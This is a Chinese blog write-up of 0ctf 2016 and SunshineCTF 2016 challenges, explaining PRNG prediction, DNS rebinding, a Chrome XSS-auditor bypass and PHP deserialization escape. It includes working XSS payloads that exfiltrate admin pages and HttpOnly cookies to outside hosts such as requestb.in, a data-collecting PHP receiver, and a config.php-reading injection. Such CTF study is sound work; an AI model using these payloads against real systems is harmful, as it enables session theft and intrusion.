前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >0ctf2016 && sunshinectf2016 writeup

0ctf2016 && sunshinectf2016 writeup

作者头像
LoRexxar
发布2023-02-21 14:19:09
9320
发布2023-02-21 14:19:09
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…

0ctf2016

rand2

题目是队友做的,不是很懂,需要碰撞出随机数,在1mins以内。 先给2个别人的writeup: http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2

首先是题目的源码:

代码语言:javascript
复制
<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
} else if (isset($_GET['check'])) {
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

随机数在Keep-live下是可以被预测的。 http://drops.hduisa.cn/archives/365/

预测方法: state[i] = state[i-3] + state[i-31] return state[i] >> 1

还有文献: https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import re
import hashlib
import time

cookie = {"PHPSESSID": "2okdf7k5e637e1fms75t0a1hg4"}
heade = {"Connection": "Keep-Alive"}
#url = "http://127.0.0.1/test.php"
url = "http://202.120.7.202:8888"
url2 = "http://202.120.7.202:8888/?go="

session = requests.session()
def test():
	ran_num = []
	for i in range(31):
		req = session.get(url, cookies=cookie, headers=heade)
		cont = req.content
		try:
			num = re.findall(r'(.+)<code>',cont)[0]
		except:
			print i
			return 0
		ran_num.append(int(num))
	req = session.get(url2, cookies=cookie, headers=heade)
	cont = req.content
	ran_num.append(int(cont[1:-32]))
	md5_num = cont[-32:-1]
	#print md5_num
	go_num = []
	for x in range(3):
		y = 32 + x 
		tem_num1 = ran_num[y-3]+ran_num[y-31]
		bin_num = bin(tem_num1)
		tem_num2 = int(bin_num[0:2] + bin_num[3:], 2)
		go_num.append([str(tem_num1), str(tem_num2)])
	for x in range(2):
		e = x + 4
		add_list = []
		for y in range(2):
			tem_num1 = int(go_num[x][y]) + ran_num[e]
			bin_num = bin(tem_num1)
			tem_num2 = int(bin_num[0:2] + bin_num[3:], 2)
			add_list.append(str(tem_num1))
			add_list.append(str(tem_num2))
		go_num.append(add_list)			

	print go_num
	# for x in range(5):
	# 	req = session.get(url, cookies=cookie, headers=heade)
	# 	cont = req.content
	# 	num = re.findall(r'(.+)<code>',cont)[0]
	# 	print num
	for a in go_num[0]:
		for b in go_num[1]:
			for c in go_num[2]:
				for d in go_num[3]:
					for e in go_num[4]:
						now_num = a + b + c + d + e
						now_md5 = hashlib.md5(now_num).hexdigest()
						if md5_num == now_md5:
							print "yes"
							break
	x = 32
	now_num = ""
	# for i in range(5):
	# 	y = x + i
	# 	num1 = ran_num[y - 3] + ran_num[y - 31]
	# 	bin_num = bin(num1)
	# 	#if len(bin_num) >= 32:
	# 	#	num2 = num1
	# 	#else:
	# 	num2 = int(bin_num[0:2] + bin_num[3:], 2)
			
			
	# 	#now_num += str(num)
	# 	req = session.get(url, cookies=cookie, headers=heade)
	# 	cont = req.content
	# 	num3 = re.findall(r'(.+)<code>',cont)[0]
	# 	ran_num.append(int(num3))
	# 	#print num3, "===>",num2
	# 	print num3, "===>", num1," and " ,num2
	
	
	
def suc():
	global ran_num
	num5 = ran_num[-5:]
	url3 = "http://202.120.7.202:8888/?"

	for x in num5:
		url3 += "check[]="+str(x) + "&"
	req = session.get(url3, cookies=cookie, headers=heade)
	print req.content
#print now_md5
#print md5_num
if __name__ == '__main__':
	res = test()
	# while not res:
	# 	try:
	# 		res = test()
	# 	except:
	# 		res = False
	# 	print "yyy"
	# 	time.sleep(1)
	# suc()

队友告诉我说切片切错了,所以没出flag,OrZ…….

Monkey (跨同源策略)

首先是一个md5碰撞,本以为很麻烦,后来发现其实就是相当于验证码类似的东西。

代码语言:javascript
复制
import random
import hashlib
str = 10000

while 1:
	m2 = hashlib.md5()   
	m2.update(repr(str)) 
	if (m2.hexdigest()[0:6]=='bfb93d'):
		print str 
		break
	str+=1

然后尝试通过<img><iframe>读东西,发现由于同源策略怎么都读不到。 看了别人的writeup:

http://www.isecer.com/ctf/0ctf_2016_web_writeup_monkey.html https://w00tsec.blogspot.jp/2016/03/0ctf-2016-write-up-monkey-web-4.html

知道是通过一些神秘的手段,首先是要通过ajax CORS跨域,然后把域名解析到127.0.0.1,然后记得放在8080端口,在他打开并停留的时候,解析,就可以了Orz(麻麻问我为什么跪着打字) 服务器脚本类似于这样

代码语言:javascript
复制
<script src="jquery.min.js"></script>
<script>
function getdata(){
    $.ajax({
        type: "GET",
        url:'http://xxx.com:8080/secret',
        async: true,
        error: function(request) {
            getdata();
        },
        success: function(data) {
            $.get('http://yourdomain/get.php?data='+data);
        }
    });
}
getdata();
</script>
`

guestbook1 (bypass xss filter)

题目完全是被卡住了,是用了两个黑魔法过判断的,复现了很久才成功。

最叼的是这个人通过猜测几乎复现了题目的源码,有兴趣可以去试试。 稍微测试可以发现<>'"被过滤,然后username会被放在id和内容两个地方,text这里有一个关于debug的判断

代码语言:javascript
复制
<body>
    <div><h3>to be checked</h3></div>
    <script>var debug=false;</script>
    <div id="dsadsa">
        <h2>dsadsa</h2>
    </div>
    <div id="text">dsadsa</div>
    <script>
    data = "dsadsa"
    t = document.getElementById("text")
    if(debug){
        t.innerHTML=data
    }else{
        t.innerText=data
    }
    </script>



</body>

有个提示是boss使用的是chrome,本来以为chrome这个是常规环境,其实这里用了一个黑魔法。 关于chrome xss auditor Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is “rewritten” to a non-executable state in the browser DOM.

或许你英文不好,我也是看的半知半解,上面这话的意思就是chrome会检测你的请求,如果有类似于<script>var debug=false</script>这样的请求,chrome会把这个初始化忽视掉,我们不仅需要忽视这个变量,还需要初始化一下,这里就需要username这里会把传入的值放入id的问题了。

我们需要构造<div id="debug">至于这里为什么构造id就可以初始化debug的问题,也是比较神奇的。

http://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables

没有很看懂,但是,大概明白debug被初始化一个对象,这样可以调用Orz。

前面的问题都解决了,下面就是要构造domxss请求了。

代码语言:javascript
复制
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();'
out = []
for s in payload:
 	out.append(str(ord(s)))

print "\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode("+", ".join(out)+"))\\u0022\\x3e"

由于单引号和双引号被过滤,所以需要用eval+string.fromCharCode的方式来过请求了。

代码语言:javascript
复制
Secret:
random_characters_must_be_unique<script>var debug=false;</script>

Username:
debug

Message:
\x3cimg src=a onerror=\u0022eval(String.fromCharCode(120, 109, 108, 104, 116, 116, 112, 61, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 120, 120, 120, 120, 34, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59))\u0022\x3e

这里注意\会被转义,所以要传入\才是一个 先写个脚本生成message(拖个朋友的上来,直接post出去):

代码语言:javascript
复制
#!/bin/env python
#-*- encoding: utf-8 -*-

import os
import requests
import random
import string

def post(s,u,m):
	r = requests.session()
	if len(u) < 1:
		u = 'debug'
	_data = {
		"secret":s,
		"username":u,
		"message":m,
		"action":"submit"
	}
	res = r.post("http://202.120.7.201:8888/message.php", data=_data)
	return res.url

def rstr(n=10):
	return string.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], n)).replace(' ','')

def m2s(m):
	r = ''
	for x in m:
		r += ','+str(x)
	return r[1:]

if __name__ == '__main__':
	s = '<script>var debug=false;</script>'
	payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/show.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://xss.lazysheep.cc",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'
	l = m2s(map(ord, payload))
	p2 = '\\\\x3cimg src=a onerror=\\\\u0022eval(String.fromCharCode(' + l + '))\\\\u0022\\\\x3e'
	print post(rstr()+s, 'debug', p2)

得到了一些东西:

代码语言:javascript
复制
<html> <!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder --> <body> <script>var debug=false;</script> <div id=""> <h2></h2> </div> <div id="text"></div> <script> data = "" t = document.getElementById("text") if(debug){ t.innerHTML=data }else{ t.innerText=data } </script> </body> </html>

他是说让我们去检查/admin/server_info.php这个文件。打开看是phpinfo()

因为cookie是http-only的,所以通过js的方式是得不到的,但是可以通过request中是始终存在的。

代码语言:javascript
复制
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'

这样就可以得到他的Phpinfo()

代码语言:javascript
复制
<td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr>

最后这一步不知道为什么没办法复现,朋友给我了他的php接受方式

代码语言:javascript
复制
<?php
$data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
$data .= "\r\npost : ".urldecode(urldecode(file_get_contents("php://input")));
$data .= "\r\nip : ".$_SERVER["REMOTE_ADDR"];
$data .= "\r\nREFERER : ".$_SERVER['HTTP_REFERER'];
$data .= "\r\nHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
$data .= "\r\nREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
$data .= "\r\nCookies : ".implode(' ',$_COOKIES);

if(strlen($data)>10){
	file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###\r\n".$data."\r\n", FILE_APPEND);
}
exit();

?>

这样就可以接收到get.txt,打开看就get了…

piapiapia(php反序列化逃逸字符)

先给别人的writeup http://www.isecer.com/ctf/0ctf_2016_web_writeup_piapiapia.html

源码就懒得传了,有兴趣可以问我要,通读一遍发现问题可能出在序列化上面,先看看过滤

代码语言:javascript
复制
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

感觉问题在update.php上

代码语言:javascript
复制
$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

有一个有问题的判断是nickname的判断

代码语言:javascript
复制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

研究了下如果传入的是数组的话,这里的两个判断都能过

正常传入的话,是正常的语句

代码语言:javascript
复制
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

序列化室友严格的长度的,如果长度错误,解序列化就是会报错停止。 我们需要试图构造一个nickname[]=xxx";}s:5:"photo";s:10:"config.php这样如果溢出,就能读取config.php的信息。

这里有个问题一直没想明白,看了writeup才知道这里是通过filter里的where->hacker会溢出一个字符,这样如果传入和需要溢出的一样长的where,就会溢出一个完整的请求,就不会报错。

代码语言:javascript
复制
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

get!

guestbook2

writeup还没出,先占坑。

代码语言:javascript
复制
total 100 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 . 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .. 
drwxr-xr-x 2 root root 4096 Mar 7 14:25 bin 
drwxr-xr-x 3 root root 4096 Mar 7 14:26 boot 
drwxr-xr-x 15 root root 4100 Mar 13 13:11 dev 
drwxr-xr-x 96 root root 4096 Mar 13 13:20 etc 
-r--r----- 1 flag flag 29 Mar 9 13:59 flag 
-r-sr-x--- 1 flag www-data 8709 Mar 9 14:52 flag_reader 
drwxr-xr-x 5 root root 4096 Mar 9 13:59 home 
lrwxrwxrwx 1 root root 32 Mar 7 14:26 initrd.img -> boot/initrd.img-4.2.0-30-generic lrwxrwxrwx 1 root root 32 Mar 7 22:07 initrd.img.old -> boot/initrd.img-4.2.0-27-generic drwxr-xr-x 21 root root 4096 Mar 9 00:17 lib 
drwxr-xr-x 2 root root 4096 Mar 7 22:07 lib64 
drwx------ 2 root root 16384 Mar 7 22:07 lost+found 
drwxr-xr-x 3 root root 4096 Mar 7 22:07 media 
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt 
drwxr-xr-x 2 root root 4096 Feb 18 07:12 opt 
dr-xr-xr-x 129 root root 0 Mar 13 13:11 proc 
drwx------ 10 root root 4096 Mar 14 07:03 root 
drwxr-xr-x 19 root root 720 Mar 14 22:22 run 
drwxr-xr-x 2 root root 4096 Mar 7 14:25 sbin 
drwxr-xr-x 2 root root 4096 Feb 18 07:12 srv 
dr-xr-xr-x 13 root root 0 Mar 13 14:29 sys 
drwxrwxrwt 2 root root 4096 Mar 15 13:09 tmp 
drwxr-xr-x 10 root root 4096 Mar 7 22:07 usr 
drwxr-xr-x 13 root root 4096 Mar 8 23:24 var 
lrwxrwxrwx 1 root root 29 Mar 7 14:26 vmlinuz -> boot/vmlinuz-4.2.0-30-generic 
lrwxrwxrwx 1 root root 29 Mar 7 22:07 vmlinuz.old -> boot/vmlinuz-4.2.0-27-generic

发现了flag,但是读不了,看到有个flag_reader,跑一下就好。

权限比较高,翻翻别的

代码语言:javascript
复制
total 20 drwxr-xr-x 5 root root 4096 Mar 9 13:59 . 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .. 
drwxr-xr-x 2 flag flag 4096 Mar 9 13:59 flag 
drwxrwx--- 2 root guestbook 4096 Mar 14 06:29 guestbook 
drwxr-xr-x 3 ops ops 4096 Mar 7 14:36 ops

gusetbook没东西,看看本目录吧

代码语言:javascript
复制
total 36 drwxr-xr-x 5 root root 4096 Mar 13 14:02 . 
drwxr-xr-x 3 root root 4096 Mar 8 23:23 .. 
drw-r-x--- 2 root www-data 4096 Mar 13 14:16 admin 
-rw-r-x--- 1 root www-data 193 Mar 6 00:58 config.php 
-rw-r-x--- 1 root www-data 1578 Mar 10 11:05 index.php 
-rw-r-x--- 1 root www-data 684 Feb 27 23:11 message.php 
-rw-r-x--- 1 root www-data 1077 Mar 9 23:03 show.php 
drw-r-x--- 2 root www-data 4096 Mar 6 01:12 static 
drwx-wx-wx 3 root www-data 4096 Mar 15 13:25 uploads

sunshine ctf2016

感觉挺有意思的一个比赛,是佛罗里达大学举办的ctf,所有的题目不是misc就是pwn,感觉比较坑,但是由于大部分题目比较基础,挺有意思的,尤其是做了一道比较有意思的misc题目。

Floridaman found this cool new invite only internet relay chat service but he can’t figure out how to actually get an invite… since you’re not a part of the Florida education system, maybe you can figure it out. http://4.31.182.246:4567

题意大概是说佛罗里达man想进一个聊天室,但是不知道怎么获得邀请,打开站发现有个地方输入freenode上的频道和密码,那么就输入一个吧,在freenode上进入聊天室发现进来了一个陌生人说

输入!flag 这样的证明自己,稍微测试了一下发现输入会有人私聊你还差多少个字符,开始以为这个地方是类似于截断匹配的,但是后来发现好像不是这样的。

先fuzz一下发现要输入12个字符,然后包括Flagrsd810这几个,然后经过长达1个小时的测试发现,每个字符后面可以跟的字符不同,唯有F是后面可以跟除自己以外的数字,8是一定要放在最后面,发现了一些规律后就测试吧…

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
	cont = "PRIVMSG #ddog :!flag F" + x
	data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
	req =requests.post(url, data=data, cookies=cookie)

经过反复的测试可以测试出如果可以把这10个字母按顺序放进去,可是居然还有2个重复的呢,又是一顿fuzzing

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
	cont = "PRIVMSG #ddog :!flag Fl0rdda1sgr8"
	data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
	req =requests.post(url, data=data, cookies=cookie)

然后发现居然是佛罗里达….mdzz….这就是文化差异啊…..

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2016/03/14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0ctf2016
    • rand2
      • Monkey (跨同源策略)
        • guestbook1 (bypass xss filter)
          • piapiapia(php反序列化逃逸字符)
            • guestbook2
            • sunshine ctf2016
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档